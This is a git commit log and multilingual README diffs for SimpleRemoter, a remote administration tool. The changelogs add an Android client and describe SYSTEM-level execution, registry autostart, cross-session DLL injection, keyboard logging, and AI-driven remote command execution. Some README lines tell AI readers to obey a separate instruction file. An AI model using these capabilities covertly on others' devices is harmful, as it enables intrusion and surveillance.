yuanyuanxiang
5a1430e904 Feat: Android client device grouping with persistent group name
- szPCName sent as "model/groupName" format matching Linux client
- CMD_SET_GROUP handler updates g_SETTINGS.szGroupName in memory
- Group name persisted to filesDir/yama_group; survives process restart
- LoadGroupName() at startup overrides build-time patch value if file exists

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 17:38:01 +02:00
yuanyuanxiang
218ee4f43d Feat: TV remote control via D-pad focus navigation using AccessibilityService 2026-06-24 22:31:14 +02:00
yuanyuanxiang
45553ec5b6 Feat: Android client Phase 0-3 full implementation 2026-06-21 23:00:05 +02:00
yuanyuanxiang
837d89c8b5 Feat: Sub-license count limit - LicenseLimit field in licenses.ini + context menu
- Add LicenseLimit field to LicenseInfo struct (0 = not set, unlimited)
- Add GetLicenseLimit/SetLicenseLimit: read/write LicenseLimit key in licenses.ini
- Append |lic:N to reserved field in TOKEN_AUTH response only when
  LicenseLimit > 0; absent |lic: means no limit (client defaults to 9999),
  so super admin authenticating to its own server is never falsely terminated
- Add "Sub-license limit" item in CLicenseDlg right-click menu (1-9999,
  empty = clear limit); menu label shows current value in real time
- Limit change takes effect when sub-client re-authenticates

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-20 13:01:35 +02:00
yuanyuanxiang
c1433b4b5d Fix: Restore memory DLL at client program startup 2026-06-20 12:38:28 +02:00
yuanyuanxiang
71963b740b Fix: Authorization client use different keyboard log directory 2026-06-20 12:38:28 +02:00
yuanyuanxiang
5b37df26fd Opt: improve adaptive-size rendering 2026-06-20 12:38:28 +02:00
yuanyuanxiang
851fed4739 Feat: sign TOKEN_AUTH response and add TOKEN_SERVER_VERIFY to prevent fake server
TOKEN_AUTH: when the server has a V2 private key, signs "SN|valid(0/1)"
with ECDSA P-256 and places "sig:<base64>" in the response reserved field.
Clients can verify server identity without changing the request format.

TOKEN_SERVER_VERIFY (251): added constant to commands.h; handler already
present in 2015RemoteDlg.cpp for the challenge-response server identity check.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-20 12:38:28 +02:00
yuanyuanxiang
103123f533 Feat: anti-cracking hardening - version binding and updated libs 2026-06-20 12:38:20 +02:00
yuanyuanxiang
66c950cecb Refactor: split ScanScreen window-capture into 3 private methods 2026-06-16 21:03:45 +02:00
yuanyuanxiang
91d4c0a523 Fix: eliminate extra screen restarts on connection init
Two changes to reduce unnecessary CScreenSpy restarts when connecting:

1. Client (ScreenManager.cpp): Initialize CScreenSpy with bitrate from
   the locally-saved quality profile, so CMD_QUALITY_LEVEL arriving from
   the server (same bitrate as default) hits SetBitRate(3000)==3000 and
   skips the restart instead of comparing against the hard-coded 0.
   Also fixes QualityLevel init to use the already-computed `quality`
   variable (which honours the QUALITY_DISABLED override when algo!=NUL)
   rather than re-reading the cfg key a second time.

2. Server (ScreenSpyDlg.cpp): Only send CMD_SCREEN_SIZE strategy=2 when
   the session is in QUALITY_ADAPTIVE mode and a cached maxWidth exists.
   Fixed quality levels already carry resolution via CMD_QUALITY_PROFILES,
   so unconditionally sending CMD_SCREEN_SIZE caused a second restart when
   the screen spy was still rebuilding from the first one.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-15 22:14:06 +02:00
yuanyuanxiang
abafd673a2 Opt: skip 8MB raw first-frame in H264 mode; server unlocks on first IDR instead
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-15 21:29:59 +02:00
yuanyuanxiang
2765d95950 Feat: Support viewing active window via online-host popup menu 2026-06-15 19:15:31 +02:00
yuanyuanxiang
931492a294 Fix: clamp ARGBToNV12 dims to even-aligned ctx width/height
to prevent heap overflow on odd-sized windows
2026-06-15 19:14:49 +02:00
yuanyuanxiang
d3b9e7faae Feat: window capture via PrintWindow with server-side HWND routing by clientID 2026-06-15 14:11:42 +02:00
164 changed files with 17333 additions and 621 deletions

1
.gitignore vendored
View File

@@ -95,3 +95,4 @@ server/go/web/assets/index.html
server/go/users.json
server/go/build/
server/go/.claude/settings.json
android/app/.cxx/

108
ReadMe.md
View File

@@ -12,7 +12,7 @@
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a>
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -94,6 +94,7 @@
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推荐)/ Go |
| **Linux** (X11) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
| **Android** (v1.3.7+) | ✅ 屏幕 + 触控/按键控制 | ❌ 不适用 |
---
@@ -206,6 +207,21 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
**编译**`cd linux && cmake . && make`
### Android 客户端v1.3.7+
**系统要求**Android 5.0 (API 21) 及以上
| 功能 | 状态 | 实现 |
|---|---|---|
| 远程桌面 | ✅ | MediaProjection + MediaCodec H.264 硬件编码 |
| 触控/按键控制 | ✅ | AccessibilityService 注入,支持 D-pad 导航 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 设备分组 | ✅ | szGroupName 编译期 patch / 服务端动态修改 |
**生成客户端**:在主控 BuildDlg「生成」→ 选 `ghost - Google Android`,填入服务端 IP / 端口,生成 APK使用 `android/sign_apk.bat` 重签后安装。
**编译**:在 WSL 或 Linux 中 `cd android && ./build_apk.sh`
### macOS 客户端v1.3.2+
**系统要求**
@@ -258,13 +274,13 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
│ TCP (自定义二进制协议) │ TCP (设备) + WS (浏览器)
└────────┬─────────────────┘
┌──────────────┼──────────────┐
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │
│ 客户端 │ │ 客户端 │ │ 客户端 │
│ (DXGI) │ │ (X11) │ │ (CG) │
└─────────┘ └─────────┘ └─────────┘
┌──────────────┼──────────────┬──────────────
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │ │ Android │
│ 客户端 │ │ 客户端 │ │ 客户端 │ │ 客户端 │
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
└─────────┘ └─────────┘ └─────────┘ └─────────┘
```
### 多层授权(简化视图)
@@ -340,6 +356,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
- **C++ 主控 & Windows 客户端**VS 2019/2022/2026 打开 `SimpleRemoter.sln` → Release | x64
- **Linux 客户端**`cd linux && cmake . && make`
- **macOS 客户端**`cd macos && ./build.sh`
- **Android 客户端**`cd android && ./build_apk.sh`WSL/Linux
- **Go 主控**`cd server/go && go build ./cmd`
---
@@ -361,6 +378,81 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志
### v1.3.9 (2026.9.2)
**MCP 服务端集成AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
**新功能:**
- **MCP 服务端集成**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 接口Bearer Token 鉴权,「扩展 > MCP 设置」对话框配置启用 / 端口 / 绑定 / Token23 个工具覆盖「观测 → 执行 → 控制 → 传输」全链路,默认关闭、分级开关(只读 / 白名单 / 终端 / 远程控制 / 文件传输)全面审计
- **MCP 观测类工具(只读)**search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot可选 max_width、list_services、get_client_log、list_registry、get_audit_log单飞请求注册表 20s 超时 + 编码修正clientType / clientID 定位)
- **MCP 远程终端工具**exec_command 一次性执行 + terminal_open / terminal_exec / terminal_close 持久终端cwd / 环境保留,空闲 300s 清扫),哨兵判定与 timeout_ms 解析修复
- **MCP 远程控制工具**remote_open / remote_close 会话 + remote_keyboardkey_down / up / press / type、remote_mousemove / click / drag / scroll、remote_clipboard 注入;与人工 Web 查看双向互斥,会话状态机 busy / closed 加固
- **MCP 文件传输工具**download_fileV2 协议 + SHA-256 校验、upload_file主连接上传客户端侧 `COMMAND_SEND_FILE_V2` 懒初始化 `InitFileUpload` 修复上传截断
- **客户端活动历史**:记录活跃窗口历史(上限 500 条、跳过 <5s主机「客户端管理」子菜单新增「活动历史」对话框Unicode 编辑控件正确渲染 UTF-8 标题
- **日志右键菜单三连**:消息日志右键新增「在线通知」「拉黑 IP」「解封 IP」IPv4 提取即时生效
- **列表排序记忆**:主机列表、进程 / 窗口列表排序偏好持久化(`list\*Sort` 注册表键),下次启动默认沿用
**改进:**
- 重复连接 standby 处理:重复登录暂存 standby 待旧连接超时 / 断线后晋升,避免循环重连与误报离线
- 远程桌面 / 虚拟屏幕对话框标题显示主机备注而非 IP无备注回退 IP
- 主机列表三态排序(升序 → 降序 → 恢复默认,默认序按在线时间重建)
- 在线主机右键三个菜单项新增图标(位图数组 63→66
**Bug 修复:**
- 客户端屏幕控制批解析错误:记录数是 7 的倍数时误判 MSG32 致注入错乱(`%48==0` 优先)
- 心跳延迟更新 use-after-free跨 PostMessage 持有 IoRefCount + memcpy 显式截断
- ONLINELIST_PRIVILEGE 枚举错位损坏历史数据库(权限列移至 16
- 远程桌面光标跨对话框污染(改 `OnSetCursor` 逐窗口路由)
- 客户端日志对话框 EDIT 上限停止刷新(`SetLimitText(0)`
- 窗口管理器视图检查读取陈旧状态、进程列表架构列排序无效、FRP / NAT 下窗口标题乱码
### v1.3.8 (2026.8.3)
**SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**
**新功能:**
- **客户端 SYSTEM 权限运行**双模式自动适配SYSTEM / Admin / UserWinlogon + Run 双路径注册表启动;`ScreenManager` 无用户会话时自动切换 DXGI`KernelManager` 绕过用户态 API 以 NT 路径操作;跨会话 DLL 注入(`session.cpp`)实现 SYSTEM 会话向用户会话注入控制模块
- **在线主机权限等级列**:主机列表新增「权限」列,实时显示 SYSTEM蓝色高亮/ Admin / User一眼识别受控端权限上下文
- **远程窗口管理菜单View Windows**:远程桌面新增 View Windows 菜单,可枚举目标机器顶层窗口并进行最大化、最小化、隐藏、关闭操作
- **违禁用户拉黑**:主机列表右键新增「禁止连接」,服务端发送 `COMMAND_FORBIDDEN`;客户端收到后断开连接并拒绝重连;附带 Forbidden 图标
- **客户端运行日志对话框**`ClientLogManager` 每 3 秒增量推送日志到主控(`TOKEN_REPORT_LOG`);推送线程 `join()` 防 use-after-freeIOCP → UI 线程 `PostMessage` 防丢包;自带图标与菜单位图
- **消息日志搜索栏**`LogSearchBar` 组件286 行关键字高亮、Prev/Next 导航跳转、Clear 清除
- **调试菜单YAMA_DBG**:主菜单新增调试入口,动态输入 `YAMA_DBG` 环境变量值,无需重启主控
**改进:**
- 远程桌面光标自定义设置持久化到注册表,下次自动恢复偏好
**Bug 修复:**
- 32 位 / 64 位主控切换崩溃:`KeyboardManager` 参数类型兼容 + 服务端位数检查
- Safari 移动端切回卡死:前台切回时强制重建 WebSocket + 服务端 30s 宽限期
- `RunFileReceiver` 误注册 `ReconnectProcess` 导致文件传输结束后杀主屏幕会话
- 隐私壁纸已设置时切换菜单再次点击执行清除而非弹框
### v1.3.7 (2026.6.26)
**Android 客户端 & 窗口捕获增强 & 安全加固**
**新功能:**
- **Android 客户端**:首个 Android 受控端,支持 Android 5.0+arm64-v8a / armeabi-v7aMediaProjection + MediaCodec H.264 推流AccessibilityService 触控 / 按键注入D-pad 焦点导航完整控制 TV / 机顶盒
- **设备分组**:编译期 patch 预设 / 服务端动态修改(`CMD_SET_GROUP`);分组名持久化至 `filesDir/yama_group`App 重启后保留
- **APK 生成与重签**BuildDlg 新增 `ghost - Google Android`,与 Linux / macOS ghost 流程一致;配套 `sign_apk.bat` 自动检测 SDK 完成重签
- **服务端删除客户端**BYE 指令后 Android Service 通过 JNI 正常停止
- **前台窗口精准捕获**PrintWindow + 服务端 HWND by clientID 路由,遮挡情况下仍可捕获完整窗口
- **在线主机右键查看活动窗口**:实时查询目标机器前台窗口标题
- **TOKEN_AUTH 响应 ECDSA 签名**V2 私钥签名服务端响应,防伪服务端(`TOKEN_SERVER_VERIFY = 251`
- **反破解版本绑定**:版本与核心库绑定,阻断替换 DLL 的破解路径
- **子授权连接数限制**`LicenseLimit` 字段 + `CLicenseDlg` 右键菜单实时设置
**改进:**
- H264 模式跳过首帧 ~8MB 原始巨帧,服务端在首 IDR 帧后解锁画面
- 自适应尺寸渲染改进,减少尺寸切换抖动
**Bug 修复:**
- `ARGBToNV12` 奇数尺寸窗口堆溢出(维度钳制到偶数对齐)
- 连接初始化时多余屏幕重启(客户端 `ScreenManager.cpp` + 服务端 `ScreenSpyDlg.cpp` 双端修复)
- 启动时内存 DLL 未正确还原
- 授权客户端键盘日志目录冲突(各实例使用独立目录)
### v1.3.6 (2026.6.14)
**ROI 区域捕获 & Web 音频流 & 主界面可用性全面提升**

View File

@@ -12,7 +12,7 @@
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a>
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -94,6 +94,7 @@ This release (v1.3.4) adds the last missing piece — the **Go master**: a **del
| **Windows** | ✅ All features | ✅ MFC `YAMA.exe` (recommended) / Go |
| **Linux** (X11) | ✅ Screen + terminal + files + clipboard | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ Screen + terminal + files + clipboard | ✅ Go |
| **Android** (v1.3.7+) | ✅ Screen + touch/key injection | ❌ N/A |
---
@@ -206,6 +207,21 @@ Unless an offline license has been obtained, the master program exchanges necess
**Build**: `cd linux && cmake . && make`
### Android Client (v1.3.7+)
**Requirements**: Android 5.0 (API 21) or later
| Feature | Status | Implementation |
|---|---|---|
| Remote desktop | ✅ | MediaProjection + MediaCodec H.264 hardware encoding |
| Touch / key injection | ✅ | AccessibilityService, supports D-pad TV navigation |
| Heartbeat / RTT | ✅ | RFC 6298 RTT estimation |
| Device grouping | ✅ | Build-time patch or server-side `CMD_SET_GROUP`; persisted across restarts |
**Generate client**: In the master BuildDlg *Build* dialog, select `ghost - Google Android`, enter the server IP / port, and the APK is generated. Re-sign with `android/sign_apk.bat` before installing.
**Build**: in WSL or Linux — `cd android && ./build_apk.sh`
### macOS Client (v1.3.2+)
**Requirements**:
@@ -258,13 +274,13 @@ Unless an offline license has been obtained, the master program exchanges necess
│ TCP (custom binary proto)│ TCP (devices) + WS (browsers)
└────────┬─────────────────┘
┌──────────────┼──────────────┐
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │
│ client │ │ client │ │ client │
│ (DXGI) │ │ (X11) │ │ (CG) │
└─────────┘ └─────────┘ └─────────┘
┌──────────────┼──────────────┬──────────────
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │ │ Android │
│ client │ │ client │ │ client │ │ client │
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
└─────────┘ └─────────┘ └─────────┘ └─────────┘
```
### Multi-Layer Authorization (simplified view)
@@ -340,6 +356,7 @@ Valid : 2026-02-01 to 2028-02-01
- **C++ master & Windows client**: open `SimpleRemoter.sln` in VS 2019 / 2022 / 2026 → Release | x64
- **Linux client**: `cd linux && cmake . && make`
- **macOS client**: `cd macos && ./build.sh`
- **Android client**: `cd android && ./build_apk.sh` (WSL / Linux)
- **Go master**: `cd server/go && go build ./cmd`
---
@@ -361,6 +378,81 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog
### v1.3.9 (2026.9.2)
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
**New features:**
- **MCP server integration**: local JSON-RPC 2.0 endpoint on `127.0.0.1:6544` with Bearer token auth, configured via "Extensions > MCP Settings"; 23 tools spanning observe → execute → control → transfer, disabled by default with per-tier gates (read-only / whitelist / terminal / remote control / file transfer) and full audit logging
- **MCP read-only observation tools**: search_hosts, get_host_detail, list_processes, list_windows, get_activity_history, list_files, get_screenshot (optional max_width), list_services, get_client_log, list_registry, get_audit_log; single-flight pending registry with 20s timeout, plus encoding fixes (clientType / clientID resolution)
- **MCP remote terminal tools**: one-shot exec_command plus persistent terminal_open / terminal_exec / terminal_close (cwd and environment preserved, 300s idle sweep); sentinel detection and timeout_ms parsing fixes
- **MCP remote control tools**: remote_open / remote_close sessions plus remote_keyboard (key_down / up / press / type), remote_mouse (move / click / drag / scroll), and remote_clipboard injection; two-way mutual exclusion with human Web viewing and a hardened busy/closed session state machine
- **MCP file transfer tools**: download_file (V2 protocol + SHA-256 verification) and upload_file (main-connection upload); client-side lazy `InitFileUpload` in `COMMAND_SEND_FILE_V2` fixes truncated uploads
- **Client activity history**: records active-window history (capped at 500 entries, skips <5s); new "Activity History" item under the host's Client Management menu with a Unicode edit control for correct UTF-8 title rendering
- **Log context-menu trio**: right-click "Online Notify", "Ban IP", and "Unban IP" on the message log, with IPv4 extraction applied immediately
- **Sort preference memory**: host list and process/window list sort preferences persisted (`list\*Sort` registry keys), restored on next launch
**Improvements:**
- Duplicate connections parked as standby and promoted after the old connection times out / disconnects, avoiding reconnect loops and false offline notifications
- Remote desktop and virtual screen dialog titles show the host remark instead of the IP (falling back to IP)
- Three-state host list sorting (ascending → descending → restore default, default rebuilt by online time)
- Icons added to three online-host context menu items (bitmap array 63→66)
**Bug fixes:**
- Client screen-control batch misparse: record count that is a multiple of 7 was misclassified as MSG32, garbling injected input (`%48==0` checked first)
- Heartbeat deferred-update use-after-free: IoRefCount held across PostMessage plus explicit memcpy truncation
- ONLINELIST_PRIVILEGE enum shift corrupted the history host database (column moved to 16)
- Remote desktop cursor cross-contamination across dialogs (routed via `OnSetCursor` per window)
- Client log dialog stopped refreshing past the EDIT control limit (`SetLimitText(0)`)
- Window manager view check reading stale state, process-list architecture column sort no-op, and FRP/NAT window-title mojibake
### v1.3.8 (2026.8.3)
**SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**
**New features:**
- **Client running as SYSTEM**: dual-mode auto-detection (SYSTEM / Admin / User), Winlogon + Run dual-path registry startup; `ScreenManager` auto-switches to DXGI when there is no user session; `KernelManager` bypasses user-mode APIs using NT paths; cross-session DLL injection (`session.cpp`) from SYSTEM to user session for desktop interaction
- **Privilege column in host list**: new "Privilege" column shows real-time permission level — **SYSTEM** (blue highlight), Admin, or User — instantly identifying each controlled endpoint's privilege context
- **View Windows menu for remote desktop**: new View Windows menu item enumerates all top-level windows on the target machine; supports maximize, minimize, hide, and close operations without leaving the remote desktop view
- **Forbid user (violation blacklist)**: right-click host list "Forbidden" sends `COMMAND_FORBIDDEN`; client disconnects and refuses reconnection to the same server; companion bitmap icon in menu
- **Client runtime log dialog**: `ClientLogManager` pushes incremental logs every 3s to the master (`TOKEN_REPORT_LOG`); push thread uses `join()` to prevent use-after-free; IOCP → UI thread via `PostMessage` to prevent dropped packets; dialog icon and menu bitmap included
- **Message log search bar**: `LogSearchBar` component (286 lines) with keyword highlighting, Prev/Next navigation, and Clear button
- **Debug menu (YAMA_DBG)**: new menu entry to input `YAMA_DBG` environment variable at runtime — no restart needed
**Improvements:**
- Remote desktop cursor customization settings now persisted to registry; preferences restored automatically on next session
**Bug fixes:**
- 32-bit / 64-bit master crash on switch: `KeyboardManager` parameter type compatibility + server-side bitness check
- Safari mobile Web remote desktop freeze on app-switch: force-clean WebSocket reconnect on foreground return + 30s server-side grace period
- `RunFileReceiver` incorrectly registering `ReconnectProcess`, killing the main screen session on file transfer completion
- Privacy wallpaper toggle menu now clears instead of re-picking when wallpaper is already set
### v1.3.7 (2026.6.26)
**Android Client & Window Capture & Security Hardening**
**New features:**
- **Android client**: first Android controlled-side client, Android 5.0+ (arm64-v8a / armeabi-v7a); MediaProjection + MediaCodec H.264 streaming; AccessibilityService touch / key injection; D-pad focus navigation for full TV / set-top-box control
- **Device grouping**: group name embedded at build time via APK binary patch or changed live by the server (`CMD_SET_GROUP`); persisted to `filesDir/yama_group`, survives app restarts
- **APK build & re-sign**: BuildDlg adds `ghost - Google Android`, same workflow as Linux / macOS ghost; `sign_apk.bat` auto-detects SDK and re-signs
- **Clean exit on server delete**: BYE command triggers JNI `onNativeExit()``stopSelf()`
- **Foreground window capture**: PrintWindow + server-side HWND routing by clientID, captures the target window even when occluded
- **View active window from host list**: right-click menu queries and shows the foreground window title of the target machine in real time
- **TOKEN_AUTH ECDSA signature**: server signs auth responses with its V2 P-256 key to prevent fake-server attacks (`TOKEN_SERVER_VERIFY = 251`)
- **Anti-cracking version binding**: binary binds to core lib version; mismatched DLL replacement is rejected at load time
- **Sub-license connection cap**: `LicenseLimit` field in `licenses.ini` + real-time set / clear from `CLicenseDlg` right-click menu
**Improvements:**
- H264 mode skips the initial ~8 MB raw first-frame; server unlocks display on the first IDR instead
- Adaptive-size rendering improvements, fewer dimension-change artifacts
**Bug fixes:**
- `ARGBToNV12` heap overflow on odd-sized windows (clamp dims to even-aligned width/height)
- Extra screen restarts on connection init (dual fix: client `ScreenManager.cpp` + server `ScreenSpyDlg.cpp`)
- Memory DLL not restored on client startup
- Authorization client keyboard log directory conflict (each instance gets its own directory)
### v1.3.6 (2026.6.14)
**ROI region capture & Web audio streaming & master-UI usability overhaul**

View File

@@ -12,7 +12,7 @@
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a>
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -94,6 +94,7 @@
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推薦)/ Go |
| **Linux** (X11) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
| **Android** (v1.3.7+) | ✅ 螢幕 + 觸控/按鍵注入 | ❌ 不適用 |
---
@@ -206,6 +207,21 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
**編譯**`cd linux && cmake . && make`
### Android 用戶端v1.3.7+
**系統需求**Android 5.0 (API 21) 及以上
| 功能 | 狀態 | 實作 |
|---|---|---|
| 遠端桌面 | ✅ | MediaProjection + MediaCodec H.264 硬體編碼 |
| 觸控 / 按鍵注入 | ✅ | AccessibilityService支援 D-pad TV 導航 |
| 心跳 / RTT | ✅ | RFC 6298 RTT 估算 |
| 裝置分組 | ✅ | 編譯期 patch 或服務端 `CMD_SET_GROUP` 動態修改;重啟後仍保留 |
**產生用戶端**:在主控 BuildDlg「產生」選 `ghost - Google Android`,填入伺服端 IP / 埠,生成 APK使用 `android/sign_apk.bat` 重簽後安裝。
**編譯**:在 WSL 或 Linux 中 `cd android && ./build_apk.sh`
### macOS 用戶端v1.3.2+
**系統需求**
@@ -258,13 +274,13 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
│ TCP (自訂二進位協定) │ TCP (裝置) + WS (瀏覽器)
└────────┬─────────────────┘
┌──────────────┼──────────────┐
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │
│ 用戶端 │ │ 用戶端 │ │ 用戶端 │
│ (DXGI) │ │ (X11) │ │ (CG) │
└─────────┘ └─────────┘ └─────────┘
┌──────────────┼──────────────┬──────────────
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │ │ Android │
│ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
└─────────┘ └─────────┘ └─────────┘ └─────────┘
```
### 多層授權(簡化視圖)
@@ -340,6 +356,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
- **C++ 主控 & Windows 用戶端**VS 2019/2022/2026 開啟 `SimpleRemoter.sln` → Release | x64
- **Linux 用戶端**`cd linux && cmake . && make`
- **macOS 用戶端**`cd macos && ./build.sh`
- **Android 用戶端**`cd android && ./build_apk.sh`WSL/Linux
- **Go 主控**`cd server/go && go build ./cmd`
---
@@ -361,6 +378,81 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌
### v1.3.9 (2026.9.2)
**MCP 伺服端整合AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
**新功能:**
- **MCP 伺服端整合**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 介面Bearer Token 鑑權,「擴充 > MCP 設定」對話框設定啟用 / 連接埠 / 綁定 / Token23 個工具覆蓋「觀測 → 執行 → 控制 → 傳輸」全鏈路,預設關閉、分級開關(唯讀 / 白名單 / 終端 / 遠端控制 / 檔案傳輸)全面稽核
- **MCP 觀測類工具(唯讀)**search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot可選 max_width、list_services、get_client_log、list_registry、get_audit_log單飛請求登錄表 20s 逾時 + 編碼修正clientType / clientID 定位)
- **MCP 遠端終端工具**exec_command 一次性執行 + terminal_open / terminal_exec / terminal_close 持久終端cwd / 環境保留,閒置 300s 清掃),哨兵判定與 timeout_ms 解析修復
- **MCP 遠端控制工具**remote_open / remote_close 工作階段 + remote_keyboardkey_down / up / press / type、remote_mousemove / click / drag / scroll、remote_clipboard 注入;與人工 Web 查看雙向互斥,工作階段狀態機 busy / closed 加固
- **MCP 檔案傳輸工具**download_fileV2 協定 + SHA-256 校驗、upload_file主連線上傳用戶端側 `COMMAND_SEND_FILE_V2` 懶初始化 `InitFileUpload` 修復上傳截斷
- **用戶端活動歷史**:記錄活躍視窗歷史(上限 500 條、跳過 <5s主機「用戶端管理」子選單新增「活動歷史」對話框Unicode 編輯控件正確渲染 UTF-8 標題
- **訊息右鍵選單三連**:訊息記錄右鍵新增「線上通知」「封鎖 IP」「解封 IP」IPv4 提取即時生效
- **列表排序記憶**:主機列表、處理程序 / 視窗列表排序偏好持久化(`list\*Sort` 登錄檔鍵),下次啟動預設沿用
**改進:**
- 重複連線 standby 處理:重複登入暫存 standby 待舊連線逾時 / 斷線後晉升,避免循環重連與誤報離線
- 遠端桌面 / 虛擬螢幕對話框標題顯示主機備註而非 IP無備註回退 IP
- 主機列表三態排序(升冪 → 降冪 → 恢復預設,預設序按上線時間重建)
- 線上主機右鍵三個選單項目新增圖示(位圖陣列 63→66
**Bug 修復:**
- 用戶端螢幕控制批次解析錯誤:記錄數是 7 的倍數時誤判 MSG32 致注入錯亂(`%48==0` 優先)
- 心跳延遲更新 use-after-free跨 PostMessage 持有 IoRefCount + memcpy 顯式截斷
- ONLINELIST_PRIVILEGE 列舉錯位損壞歷史資料庫(權限列移至 16
- 遠端桌面游標跨對話框污染(改 `OnSetCursor` 逐視窗路由)
- 用戶端記錄對話框 EDIT 上限停止刷新(`SetLimitText(0)`
- 視窗管理員檢視檢查讀取陳舊狀態、處理程序列表架構欄排序無效、FRP / NAT 下視窗標題亂碼
### v1.3.8 (2026.8.3)
**SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**
**新功能:**
- **用戶端 SYSTEM 權限執行**雙模式自動適配SYSTEM / Admin / UserWinlogon + Run 雙路徑登錄檔啟動;`ScreenManager` 無使用者工作階段時自動切換 DXGI`KernelManager` 繞過使用者態 API 以 NT 路徑操作;跨工作階段 DLL 注入(`session.cpp`)實現 SYSTEM 工作階段向使用者工作階段注入控制模組
